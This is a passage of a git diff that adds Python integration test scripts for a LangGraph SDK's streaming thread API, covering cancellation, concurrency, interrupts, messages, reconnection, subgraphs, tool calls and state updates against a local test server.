if thread.interrupted: + break + if thread.interrupted: + with contextlib.suppress(Exception): + await thread.run.respond(response) + + return asyncio.create_task(_runner()) + + +def auto_respond_sync(thread: Any, response: Any = "yes") -> threading.Thread: + """Sync analogue of `auto_respond_async`.""" + + def _runner() -> None: + for _ in thread.values: + if thread.interrupted: + break + if thread.interrupted: + with contextlib.suppress(Exception): + thread.run.respond(response) + + t = threading.Thread(target=_runner, daemon=True, name="auto-respond") + t.start() + return t + + +def check_api_reachable() -> None: + """Fail fast with a helpful message if the API isn't reachable. + + Call this at the top of `main()` in each script. + """ + try: + resp = httpx.get(f"{BASE_URL}/ok", timeout=2.0) + resp.raise_for_status() + except Exception as err: + raise SystemExit( + f"\nCannot reach the integration API at {BASE_URL}: {err!r}\n" + f"Did you run `docker compose up -d` from `libs/sdk-py/integration/`?\n" + f"Or set LANGGRAPH_INTEGRATION_URL=... to point elsewhere.\n" + ) from err diff --git a/libs/sdk-py/integration/scripts/test_cancel.py b/libs/sdk-py/integration/scripts/test_cancel.py new file mode 100644 index 0000000..ad757d0 --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_cancel.py @@ -0,0 +1,185 @@ +"""Exercise mid-run cancellation against the integration API. + +Strategy: start a run on a fresh thread, capture the run id, then +cancel via the runs REST client while events are still flowing. The +projection iterator must terminate without hanging, no exception +should escape, and the thread's persisted status must reflect a +non-success terminal state. + +The graph normally interrupts at `ask_human`; cancel must take effect +before or after that interrupt, and either way the run must end up in +a non-success state from the server's perspective. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import threading +import time +from typing import Any + +from _common import ( + ASSISTANT_ID, + check_api_reachable, + header, + make_async_client, + make_sync_client, +) + +_CANCEL_GRACE_SECONDS = 10.0 + + +async def _cancel_after_first_event( + runs_client: Any, + thread_id: str, + run_id_future: asyncio.Future[str], +) -> None: + """Wait for the run id, briefly let events flow, then cancel.""" + run_id = await run_id_future + # Allow a beat of events to flow so cancel hits mid-stream rather + # than racing with the run.start handshake. + await asyncio.sleep(0.1) + with contextlib.suppress(Exception): + await runs_client.cancel(thread_id, run_id, wait=False) + + +async def run_async() -> None: + header("async mid-run cancel") + threads, raw = make_async_client() + # Cancel goes through the runs REST surface, not the stream proxy. + from langgraph_sdk._async.http import HttpClient + from langgraph_sdk._async.runs import RunsClient + + runs_client = RunsClient(HttpClient(raw)) + try: + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + run_id_future: asyncio.Future[str] = ( + asyncio.get_running_loop().create_future() + ) + start_result = await thread.run.start( + input={"messages": [], "value": "init", "items": []} + ) + run_id = start_result.get("run_id") + assert run_id, f"run.start returned no run_id: {start_result!r}" + run_id_future.set_result(run_id) + + canceller = asyncio.create_task( + _cancel_after_first_event(runs_client, thread.thread_id, run_id_future) + ) + + snapshots: list[dict] = [] + started = time.monotonic() + iteration_error: BaseException | None = None + try: + async for snap in thread.values: + snapshots.append(snap) + if time.monotonic() - started > _CANCEL_GRACE_SECONDS: + raise AssertionError( + f"values iterator did not terminate within " + f"{_CANCEL_GRACE_SECONDS}s of cancel" + ) + except BaseException as err: + iteration_error = err + + await canceller + + persisted = await threads.get(thread.thread_id) + status = persisted.get("status") + print(f" snapshots before cancel: {len(snapshots)}") + print(f" thread.thread_id={thread.thread_id}") + print(f" iteration_error={iteration_error!r}") + print(f" persisted status={status!r}") + assert iteration_error is None, ( + f"values iterator raised after cancel: {iteration_error!r}" + ) + assert status != "success", ( + f"expected non-success terminal status after cancel, got {status!r}" + ) + finally: + await raw.aclose() + + +def _cancel_after_first_event_sync( + runs_client: Any, + thread_id: str, + run_id_event: threading.Event, + run_id_holder: dict[str, str], +) -> None: + run_id_event.wait(timeout=10.0) + run_id = run_id_holder.get("run_id") + if not run_id: + return + time.sleep(0.1) + with contextlib.suppress(Exception): + runs_client.cancel(thread_id, run_id, wait=False) + + +def run_sync() -> None: + header("sync mid-run cancel") + threads, raw = make_sync_client() + from langgraph_sdk._sync.http import SyncHttpClient + from langgraph_sdk._sync.runs import SyncRunsClient + + runs_client = SyncRunsClient(SyncHttpClient(raw)) + try: + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + run_id_event = threading.Event() + run_id_holder: dict[str, str] = {} + start_result = thread.run.start( + input={"messages": [], "value": "init", "items": []} + ) + run_id = start_result.get("run_id") + assert run_id, f"run.start returned no run_id: {start_result!r}" + run_id_holder["run_id"] = run_id + run_id_event.set() + + canceller = threading.Thread( + target=_cancel_after_first_event_sync, + args=(runs_client, thread.thread_id, run_id_event, run_id_holder), + daemon=True, + name="cancel-worker", + ) + canceller.start() + + snapshots: list[dict] = [] + started = time.monotonic() + iteration_error: BaseException | None = None + try: + for snap in thread.values: + snapshots.append(snap) + if time.monotonic() - started > _CANCEL_GRACE_SECONDS: + raise AssertionError( + f"values iterator did not terminate within " + f"{_CANCEL_GRACE_SECONDS}s of cancel" + ) + except BaseException as err: + iteration_error = err + + canceller.join(timeout=5) + + persisted = threads.get(thread.thread_id) + status = persisted.get("status") + print(f" snapshots before cancel: {len(snapshots)}") + print(f" thread.thread_id={thread.thread_id}") + print(f" iteration_error={iteration_error!r}") + print(f" persisted status={status!r}") + assert iteration_error is None, ( + f"values iterator raised after cancel: {iteration_error!r}" + ) + assert status != "success", ( + f"expected non-success terminal status after cancel, got {status!r}" + ) + finally: + with contextlib.suppress(Exception): + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/integration/scripts/test_concurrent.py b/libs/sdk-py/integration/scripts/test_concurrent.py new file mode 100644 index 0000000..62e18c1 --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_concurrent.py @@ -0,0 +1,128 @@ +"""Exercise concurrent `threads.stream()` against the integration API. + +Two distinct threads.stream() contexts run in parallel against the same +client. Each context is independent (different thread_id minted by the +SDK, separate controller, separate auto-responder). Invariants: + +1. Both runs reach the canonical terminal state independently + (`items == ['streamed','tool','asked','sub']`). +2. Their thread_ids differ (no thread-id collision when minting client-side). +3. Neither raises during iteration. + +This catches regressions where the two streams might share controller +state or where minted ids could collide under concurrent ``__aenter__``. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import threading +from typing import Any + +from _common import ( + ASSISTANT_ID, + auto_respond_async, + auto_respond_sync, + check_api_reachable, + header, + make_async_client, + make_sync_client, +) + +_EXPECTED_TERMINAL_ITEMS = ["streamed", "tool", "asked", "sub"] + + +async def _drive_one_async(threads: Any, label: str) -> dict[str, Any]: + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + responder = auto_respond_async(thread) + # Just drain values until terminal; we only care about the final state. + async for _ in thread.values: + pass + await responder + final = await thread.output + print(f" [{label}] thread_id={thread.thread_id} items={final.get('items')!r}") + return {"thread_id": thread.thread_id, "items": final.get("items")} + + +async def run_async() -> None: + header("async concurrent threads.stream (x2)") + threads, raw = make_async_client() + try: + results = await asyncio.gather( + _drive_one_async(threads, "A"), + _drive_one_async(threads, "B"), + ) + a, b = results + assert a["items"] == _EXPECTED_TERMINAL_ITEMS, ( + f"stream A failed to reach terminal: {a!r}" + ) + assert b["items"] == _EXPECTED_TERMINAL_ITEMS, ( + f"stream B failed to reach terminal: {b!r}" + ) + assert a["thread_id"] != b["thread_id"], ( + f"concurrent streams collided on thread_id {a['thread_id']!r}" + ) + finally: + await raw.aclose() + + +def _drive_one_sync( + threads: Any, label: str, results: dict[str, dict[str, Any]] +) -> None: + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + responder = auto_respond_sync(thread) + for _ in thread.values: + pass + responder.join(timeout=10) + final = thread.output + print(f" [{label}] thread_id={thread.thread_id} items={final.get('items')!r}") + results[label] = {"thread_id": thread.thread_id, "items": final.get("items")} + + +def run_sync() -> None: + header("sync concurrent threads.stream (x2)") + threads, raw = make_sync_client() + try: + results: dict[str, dict[str, Any]] = {} + workers = [ + threading.Thread( + target=_drive_one_sync, + args=(threads, label, results), + daemon=True, + name=f"sync-stream-{label}", + ) + for label in ("A", "B") + ] + for w in workers: + w.start() + for w in workers: + w.join(timeout=60) + assert not w.is_alive(), f"worker {w.name} did not finish within 60s" + + a = results.get("A") + b = results.get("B") + assert a is not None and a["items"] == _EXPECTED_TERMINAL_ITEMS, ( + f"stream A failed to reach terminal: {a!r}" + ) + assert b is not None and b["items"] == _EXPECTED_TERMINAL_ITEMS, ( + f"stream B failed to reach terminal: {b!r}" + ) + assert a["thread_id"] != b["thread_id"], ( + f"concurrent streams collided on thread_id {a['thread_id']!r}" + ) + finally: + with contextlib.suppress(Exception): + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/integration/scripts/test_extensions.py b/libs/sdk-py/integration/scripts/test_extensions.py new file mode 100644 index 0000000..1bb2ec0 --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_extensions.py @@ -0,0 +1,67 @@ +"""Exercise `thread.extensions[name]` against the integration API. + +Every node in the example graph writes `("progress", {...})` via +`get_stream_writer`. This script verifies the `extensions["progress"]` +projection yields each progress event in order. +""" + +from __future__ import annotations + +import asyncio + +from _common import ( + ASSISTANT_ID, + check_api_reachable, + header, + make_async_client, + make_sync_client, +) + + +async def run_async() -> None: + header("async extensions[progress]") + threads, raw = make_async_client() + try: + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + events: list[dict] = [] + async for event in thread.extensions["progress"]: + print(f" progress: {event!r}") + events.append(event) + print(f" total progress events: {len(events)}") + assert events, "expected at least one progress event" + # Verify ordering covers the node sequence. + steps = [e.get("step") for e in events] + print(f" step sequence: {steps}") + finally: + await raw.aclose() + + +def run_sync() -> None: + header("sync extensions[progress]") + threads, raw = make_sync_client() + try: + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + events: list[dict] = [] + for event in thread.extensions["progress"]: + print(f" progress: {event!r}") + events.append(event) + print(f" total progress events: {len(events)}") + assert events, "expected at least one progress event" + steps = [e.get("step") for e in events] + print(f" step sequence: {steps}") + finally: + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/integration/scripts/test_helpers.py b/libs/sdk-py/integration/scripts/test_helpers.py new file mode 100644 index 0000000..1da8ce0 --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_helpers.py @@ -0,0 +1,67 @@ +"""Exercise helper methods on `thread` against the integration API. + +Covers `thread.agent.get_tree(xray=...)` and the extensions cache. +""" + +from __future__ import annotations + +import asyncio + +from _common import ( + ASSISTANT_ID, + check_api_reachable, + header, + make_async_client, + make_sync_client, +) + + +async def run_async() -> None: + header("async helpers (agent.get_tree, extensions cache)") + threads, raw = make_async_client() + try: + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + tree = await thread.agent.get_tree() + print(f" get_tree() returned: nodes={list(tree.get('nodes', []))[:5]} ...") + assert tree, "expected non-empty tree" + + tree_xray = await thread.agent.get_tree(xray=True) + print(f" get_tree(xray=True) returned keys: {list(tree_xray)[:5]}") + + # Extensions cache: same name returns same projection instance. + a = thread.extensions["progress"] + b = thread.extensions["progress"] + assert a is b, "expected cached _ExtensionProjection on repeated access" + print(" extensions cache: OK (same projection instance reused)") + finally: + await raw.aclose() + + +def run_sync() -> None: + header("sync helpers (agent.get_tree, extensions cache)") + threads, raw = make_sync_client() + try: + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + tree = thread.agent.get_tree() + print(f" get_tree() returned: nodes={list(tree.get('nodes', []))[:5]} ...") + assert tree, "expected non-empty tree" + + tree_xray = thread.agent.get_tree(xray=True) + print(f" get_tree(xray=True) returned keys: {list(tree_xray)[:5]}") + + a = thread.extensions["progress"] + b = thread.extensions["progress"] + assert a is b, "expected cached _ExtensionProjection on repeated access" + print(" extensions cache: OK (same projection instance reused)") + finally: + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/integration/scripts/test_lifecycle.py b/libs/sdk-py/integration/scripts/test_lifecycle.py new file mode 100644 index 0000000..7c72264 --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_lifecycle.py @@ -0,0 +1,97 @@ +"""Exercise lifecycle state + `thread.run.respond(...)` against the integration API. + +The example graph's `ask_human` node calls `interrupt("Are we good?")`. This +script: + +1. Starts a run. +2. Waits until `thread.interrupted` becomes True (an `input.requested` + lifecycle event lands). +3. Inspects `thread.interrupts` to see the outstanding payload. +4. Calls `thread.run.respond("yes")` to resume. +5. Awaits `thread.output` for the final state. +""" + +from __future__ import annotations + +import asyncio + +from _common import ( + ASSISTANT_ID, + check_api_reachable, + header, + make_async_client, + make_sync_client, +) + + +async def run_async() -> None: + header("async lifecycle + respond") + threads, raw = make_async_client() + try: + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + # Drain values until interrupt fires. (`thread.values` ends when + # the run terminates OR when the run is paused on an interrupt; + # the latter sets `thread.interrupted` mid-iteration.) + saw_interrupt = False + async for _snap in thread.values: + if thread.interrupted: + saw_interrupt = True + break + + print(f" thread.interrupted = {thread.interrupted}") + print(f" thread.interrupts = {thread.interrupts!r}") + assert thread.interrupted, "expected an interrupt before the run completed" + assert thread.interrupts, "expected interrupts list to be populated" + + await thread.run.respond("yes") + + final = await thread.output + print(f" final output items: {final.get('items')!r}") + assert "asked" in final.get("items", []), ( + "expected ask_human to have run after respond" + ) + print(f" saw_interrupt before respond = {saw_interrupt}") + finally: + await raw.aclose() + + +def run_sync() -> None: + header("sync lifecycle + respond") + threads, raw = make_sync_client() + try: + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + saw_interrupt = False + for _snap in thread.values: + if thread.interrupted: + saw_interrupt = True + break + + print(f" thread.interrupted = {thread.interrupted}") + print(f" thread.interrupts = {thread.interrupts!r}") + assert thread.interrupted, "expected an interrupt before the run completed" + assert thread.interrupts, "expected interrupts list to be populated" + + thread.run.respond("yes") + + final = thread.output + print(f" final output items: {final.get('items')!r}") + assert "asked" in final.get("items", []), ( + "expected ask_human to have run after respond" + ) + print(f" saw_interrupt before respond = {saw_interrupt}") + finally: + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/integration/scripts/test_messages.py b/libs/sdk-py/integration/scripts/test_messages.py new file mode 100644 index 0000000..a713031 --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_messages.py @@ -0,0 +1,83 @@ +"""Exercise `thread.messages` against the integration API. + +The ``stream_message`` node in ``streaming_graph`` invokes a fake +``FakeMessagesListChatModel`` whose ``_stream`` callbacks drive +langgraph's ``StreamMessagesHandlerV2`` -> ``MessagesTransformer``, +so the v3 ``messages`` channel emits the normalized delta lifecycle +(``message-start`` -> ``content-block-start`` -> +``content-block-delta`` -> ``content-block-finish`` -> +``message-finish``) at root namespace. + +Pattern note: drain the outer iterator first (list comprehension) +before consuming each handle's chunks -- the outer iterator yields +on ``message-start`` but the inner ``chunk`` stream only completes +when ``message-finish`` is processed by the outer iter. Iterating +chunks while the outer is suspended at ``yield`` deadlocks. +""" + +from __future__ import annotations + +import asyncio + +from _common import ( + ASSISTANT_ID, + auto_respond_async, + auto_respond_sync, + check_api_reachable, + header, + make_async_client, + make_sync_client, +) + + +async def run_async() -> None: + header("async messages") + threads, raw = make_async_client() + try: + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + # Graph interrupts at `ask_human`; background responder + # unblocks so terminal lifecycle fires and the messages + # iterator exits cleanly. + responder = auto_respond_async(thread) + + streams = [s async for s in thread.messages] + await responder + print(f" total streams: {len(streams)}") + for stream in streams: + text = "".join([t async for t in stream.text]) + msg_id = getattr(stream, "message_id", None) or "?" + print(f" message {msg_id}: {text!r}") + assert streams, "expected at least one streamed message" + finally: + await raw.aclose() + + +def run_sync() -> None: + header("sync messages") + threads, raw = make_sync_client() + try: + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + responder = auto_respond_sync(thread) + + streams = list(thread.messages) + responder.join(timeout=5) + print(f" total streams: {len(streams)}") + for stream in streams: + text = "".join(list(stream.text)) + msg_id = getattr(stream, "message_id", None) or "?" + print(f" message {msg_id}: {text!r}") + assert streams, "expected at least one streamed message" + finally: + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/integration/scripts/test_reconnect.py b/libs/sdk-py/integration/scripts/test_reconnect.py new file mode 100644 index 0000000..5b3753f --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_reconnect.py @@ -0,0 +1,197 @@ +"""Exercise stream-handle close + recovery against the integration API. + +The SDK's "reconnect on transport drop" code path (controller +`_reconnect_shared_stream`) only fires when `shared.done` resolves to a +non-cancelled error — i.e. genuine network/server failures, not graceful +client-initiated closes. Reliably faking such an error against a real +server is brittle, so this script asserts the next-strongest invariant: +**a client-initiated stream close mid-iteration must not corrupt durable +state**. + +Concretely: + +1. Start the run; let the auto-responder unblock the interrupt. +2. Drop the shared SSE handle after the first snapshot. +3. The values projection iterator may end early (the close drains the + sub queue with `None`), but `thread.output` must still resolve to the + canonical terminal state via the REST fallback path. +4. No exception escapes the iteration. + +We also instrument `_dedup_iter` to count any duplicate event_ids and +print the counter for visibility. A future regression that +double-delivers events through the controller would surface here. +""" + +from __future__ import annotations + +import asyncio +import contextlib +import functools +from typing import Any + +from _common import ( + ASSISTANT_ID, + auto_respond_async, + auto_respond_sync, + check_api_reachable, + header, + make_async_client, + make_sync_client, +) + +_EXPECTED_TERMINAL_ITEMS = ["streamed", "tool", "asked", "sub"] + + +def _instrument_dedup_async(controller: Any) -> dict[str, int]: + """Wrap `_dedup_iter` so duplicate event_ids are counted.""" + counter = {"drops": 0, "yields": 0} + original = controller._dedup_iter.__func__ # type: ignore[attr-defined] + + @functools.wraps(original) + async def _counted(self, source): # type: ignore[no-untyped-def] + async for event in source: + event_id = event.get("event_id") + if event_id is not None: + if event_id in self._seen_event_ids: + counter["drops"] += 1 + continue + self._seen_event_ids.add(event_id) + counter["yields"] += 1 + yield event + + controller._dedup_iter = _counted.__get__(controller, type(controller)) + return counter + + +def _instrument_dedup_sync(controller: Any) -> dict[str, int]: + counter = {"drops": 0, "yields": 0} + original = controller._dedup_iter.__func__ # type: ignore[attr-defined] + + @functools.wraps(original) + def _counted(self, source): # type: ignore[no-untyped-def] + for event in source: + event_id = event.get("event_id") + if event_id is not None: + if event_id in self._seen_event_ids: + counter["drops"] += 1 + continue + self._seen_event_ids.add(event_id) + counter["yields"] += 1 + yield event + + controller._dedup_iter = _counted.__get__(controller, type(controller)) + return counter + + +async def run_async() -> None: + header("async stream-close mid-iteration (terminal state via REST)") + threads, raw = make_async_client() + try: + async with threads.stream(assistant_id=ASSISTANT_ID) as thread: + counter = _instrument_dedup_async(thread) + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + + responder = auto_respond_async(thread) + + snapshots: list[dict] = [] + dropped = False + iteration_error: BaseException | None = None + try: + async for snap in thread.values: + snapshots.append(snap) + if not dropped and thread._shared_stream is not None: + print(f" dropping shared stream (cursor={thread._cursor})...") + await thread._shared_stream.close() + dropped = True + except BaseException as err: + iteration_error = err + + await responder + + final = await thread.output + print(f" snapshots seen before drop: {len(snapshots)}") + print(f" final items={final.get('items')!r}") + print(f" dedup drops={counter['drops']} yields={counter['yields']}") + print(f" iteration_error={iteration_error!r}") + + assert dropped, "expected to drop the shared stream during iteration" + assert snapshots, "expected at least one snapshot before the drop" + assert iteration_error is None, ( + f"values iterator raised on stream close: {iteration_error!r}" + ) + assert final.get("items") == _EXPECTED_TERMINAL_ITEMS, ( + f"terminal state not reached via REST after drop: " + f"items={final.get('items')!r}" + ) + assert counter["drops"] == 0, ( + f"unexpected dedup activity (drops={counter['drops']}); " + "no rotation occurred so no overlap was expected" + ) + finally: + await raw.aclose() + + +def run_sync() -> None: + header("sync stream-close mid-iteration (terminal state via REST)") + threads, raw = make_sync_client() + try: + with threads.stream(assistant_id=ASSISTANT_ID) as thread: + controller = thread._controller + counter = _instrument_dedup_sync(controller) + thread.run.start(input={"messages": [], "value": "init", "items": []}) + + responder = auto_respond_sync(thread) + + snapshots: list[dict] = [] + dropped = False + iteration_error: BaseException | None = None + try: + for snap in thread.values: + snapshots.append(snap) + if ( + not dropped + and controller is not None + and controller._shared_stream is not None + ): + print( + f" dropping shared stream (cursor={controller._cursor})..." + ) + controller._shared_stream.close() + dropped = True + except BaseException as err: + iteration_error = err + + responder.join(timeout=10) + + final = thread.output + print(f" snapshots seen before drop: {len(snapshots)}") + print(f" final items={final.get('items')!r}") + print(f" dedup drops={counter['drops']} yields={counter['yields']}") + print(f" iteration_error={iteration_error!r}") + + assert dropped, "expected to drop the shared stream during iteration" + assert snapshots, "expected at least one snapshot before the drop" + assert iteration_error is None, ( + f"values iterator raised on stream close: {iteration_error!r}" + ) + assert final.get("items") == _EXPECTED_TERMINAL_ITEMS, ( + f"terminal state not reached via REST after drop: " + f"items={final.get('items')!r}" + ) + assert counter["drops"] == 0, ( + f"unexpected dedup activity (drops={counter['drops']}); " + "no rotation occurred so no overlap was expected" + ) + finally: + with contextlib.suppress(Exception): + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/integration/scripts/test_subgraphs.py b/libs/sdk-py/integration/scripts/test_subgraphs.py new file mode 100644 index 0000000..109a57c --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_subgraphs.py @@ -0,0 +1,107 @@ +"""Exercise `thread.subgraphs` against both example graphs. + +Two passes: + +1. `agent` (plain `StateGraph`): the parent calls a nested subgraph via + `subgraph.invoke(...)` from a node. This may or may not surface as a + v3 scoped child handle depending on how the server emits namespaces + for nested invokes — included so we can compare behavior. + +2. `deep_agent`: built with `create_deep_agent` + one `SubAgent`. The + supervisor's model is scripted to issue a `task(researcher, ...)` + call, which IS the path that produces a proper scoped child handle + on `thread.subgraphs`. This is the canonical exercise for the v3 + scoped-subgraph surface. +""" + +from __future__ import annotations + +import asyncio + +from _common import check_api_reachable, header, make_async_client, make_sync_client + + +async def _drain_subgraphs(thread) -> list: + """Drain ``thread.subgraphs`` to a list of {path, messages} dicts. + + The outer subgraphs iterator must complete before we deep-iterate + each handle's ``messages`` projection -- the same nested-iteration + deadlock pattern as ``thread.tool_calls`` (see + ``test_tools.py``). So we first collect handles, then drain + each handle's messages serially. + """ + handles: list = [h async for h in thread.subgraphs] + children: list = [] + for child in handles: + print(f" child handle path={child.path}") + # Just count handle paths; deep message iteration on scoped + # handles has its own draining pattern and isn't the goal of + # this test (which exercises subgraph discovery via + # child-namespace ``lifecycle: started``). + children.append({"path": child.path}) + return children + + +def _drain_subgraphs_sync(thread) -> list: + handles = list(thread.subgraphs) + children: list = [] + for child in handles: + print(f" child handle path={child.path}") + children.append({"path": child.path}) + return children + + +async def run_async() -> None: + threads, raw = make_async_client() + try: + header("async subgraphs / agent (plain StateGraph)") + async with threads.stream(assistant_id="agent") as thread: + await thread.run.start(input={"messages": [], "value": "init", "items": []}) + children = await _drain_subgraphs(thread) + print(f" agent: total subgraph handles: {len(children)}") + + header("async subgraphs / deep_agent (create_deep_agent + SubAgent)") + async with threads.stream(assistant_id="deep_agent") as thread: + await thread.run.start( + input={ + "messages": [{"role": "user", "content": "research the v3 spec"}] + }, + ) + children = await _drain_subgraphs(thread) + print(f" deep_agent: total subgraph handles: {len(children)}") + assert children, "deep_agent should produce at least one direct-child handle" + finally: + await raw.aclose() + + +def run_sync() -> None: + threads, raw = make_sync_client() + try: + header("sync subgraphs / agent") + with threads.stream(assistant_id="agent") as thread: + thread.run.start(input={"messages": [], "value": "init", "items": []}) + children = _drain_subgraphs_sync(thread) + print(f" agent: total subgraph handles: {len(children)}") + + header("sync subgraphs / deep_agent") + with threads.stream(assistant_id="deep_agent") as thread: + thread.run.start( + input={ + "messages": [{"role": "user", "content": "research the v3 spec"}] + }, + ) + children = _drain_subgraphs_sync(thread) + print(f" deep_agent: total subgraph handles: {len(children)}") + assert children, "deep_agent should produce at least one direct-child handle" + finally: + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/integration/scripts/test_tools.py b/libs/sdk-py/integration/scripts/test_tools.py new file mode 100644 index 0000000..e4bc33c --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_tools.py @@ -0,0 +1,96 @@ +"""Exercise `thread.tool_calls` against the `tools_agent` graph. + +`tools_agent` (`graph/tools_agent.py`) wraps a +`FakeMessagesListChatModel` in `create_agent` with a real `search` +tool. The first scripted model turn returns an `AIMessage` with a +`tool_calls=[search(query="v3")]`; langchain's tool node then executes +`search` and surfaces a `ToolMessage`; the second turn returns a final +`AIMessage("done.")` that terminates the agent. + +Compared to `test_tool_calls.py` (which targets the synthetic +`streaming_graph` and never produces real tool-call telemetry), this +test verifies the v3 ``tools`` channel actually fires when the +canonical langchain-agent surface is in play. + +Pattern note: `thread.tool_calls` yields handles incrementally, but +each handle's `deltas` and `output` are only completed when the +*outer* iterator processes the matching `tool-finished` event. Drain +the outer iterator to completion FIRST (via a list comprehension), +then inspect handles -- this is the same pattern used in +`tests/streaming/test_tool_calls_projection.py`. Iterating +`handle.deltas` while the outer iterator is still suspended at its +`yield` deadlocks. +""" + +from __future__ import annotations + +import asyncio + +from _common import check_api_reachable, header, make_async_client, make_sync_client + +TOOLS_ASSISTANT_ID = "tools_agent" + + +async def run_async() -> None: + header("async tools_agent tool_calls") + threads, raw = make_async_client() + try: + async with threads.stream(assistant_id=TOOLS_ASSISTANT_ID) as thread: + await thread.run.start( + input={"messages": [{"role": "human", "content": "search for v3"}]} + ) + + # Drain the outer iterator first; lifecycle-terminal triggers + # the None sentinel via the shared SSE fanout once the run + # completes naturally. + handles = [h async for h in thread.tool_calls] + print(f" total handles: {len(handles)}") + for handle in handles: + deltas = [d async for d in handle.deltas] + output = await handle.output + joined = "".join(deltas) + print( + f" tool {handle.name}({handle.tool_call_id}): " + f"args_stream={joined!r} output={output!r}" + ) + assert any(h.name == "search" for h in handles), ( + "expected `search` tool call" + ) + finally: + await raw.aclose() + + +def run_sync() -> None: + header("sync tools_agent tool_calls") + threads, raw = make_sync_client() + try: + with threads.stream(assistant_id=TOOLS_ASSISTANT_ID) as thread: + thread.run.start( + input={"messages": [{"role": "human", "content": "search for v3"}]} + ) + + handles = list(thread.tool_calls) + print(f" total handles: {len(handles)}") + for handle in handles: + deltas = list(handle.deltas) + output = handle.output + joined = "".join(deltas) + print( + f" tool {handle.name}({handle.tool_call_id}): " + f"args_stream={joined!r} output={output!r}" + ) + assert any(h.name == "search" for h in handles), ( + "expected `search` tool call" + ) + finally: + raw.close() + + +def main() -> None: + check_api_reachable() + asyncio.run(run_async()) + run_sync() + + +if __name__ == "__main__": + main() diff --git a/libs/sdk-py/integration/scripts/test_update_state.py b/libs/sdk-py/integration/scripts/test_update_state.py new file mode 100644 index 0000000..5265d22 --- /dev/null +++ b/libs/sdk-py/integration/scripts/test_update_state.py @@ -0,0 +1,158 @@ +"""Exercise `threads.update_state(...)` mid-run against the integration API. + +Flow: + +1. Stream the canonical graph; `run.start` with `value="init"`. +2. Drain values until the interrupt fires at `ask_human`. +3. Call `threads.update_state(thread_id, {"value": "patched"})` to mutate + the persisted state while the run is paused. +4. Read state back via `threads.get_state(thread_id)` and assert + `state["values"]["value"] == "patched"`. + +Why no respond afterwards: in langgraph-api, `update_state` against an +interrupted thread commits a new checkpoint that consumes the +outstanding interrupt. A subsequent `run.respond(...)` then fails with +`no_such_interrupt`. The meaningful integration invariant here is just +that the REST mutation lands on the same persisted thread the streaming +proxy was driving (no thread_id drift between client and server). +""" + +from __future__ import annotations + +import asyncio +import contextlib +import time + +from _common import ( + ASSISTANT_ID, + check_api_reachable, + header, + make_async_client, + make_sync_client, +) + +from langgraph_sdk.errors import ConflictError + +_PATCHED_VALUE = "patched" +_UPDATE_STATE_RETRY_BUDGET = 5.0 + + +async def _update_state_with_retry_async(threads, thread_id: str, values: dict) -> None: + """Retry update_state on ConflictError until the server's run row settles. + + `thread.interrupted` flips when the client sees the `input.requested` + lifecycle event, which can land before the server commits the run row + to a non-busy state. Retry with backoff for a few seconds. + """ + delay = 0.05 + deadline = asyncio.get_running_loop().time() + _UPDATE_STATE_RETRY_BUDGET + last_err: Exception | None = None + while asyncio.get_running_loop().time() < deadline: + try: + await threads.update_state(thread_id, values) + return + except ConflictError as err: + last_err = err + await asyncio.sleep(delay) + delay = min(delay * 2, 0.5) + raise AssertionError( + f"update_state never accepted within {_UPDATE_STATE_RETRY_BUDGET}s: {last_err!r}" + ) + + +def _update_state_with_retry_sync(threads, thread_id: str, values: dict) -> None: + delay = 0.05 + deadline = time.monotonic() + _UPDATE_STATE_RETRY_BUDGET + last_err: Exception | None = None + while time.monotonic() < deadline: + try: + threads.update_state(thread_id, values) + return + except ConflictError as err: + last_err = err + time.sleep(delay) + delay = min(delay * 2, 0.5) + raise AssertionError( + f"update_state never accepted within {_UPDATE_STATE_RETRY_BUDGET}s: {last_err!r}" 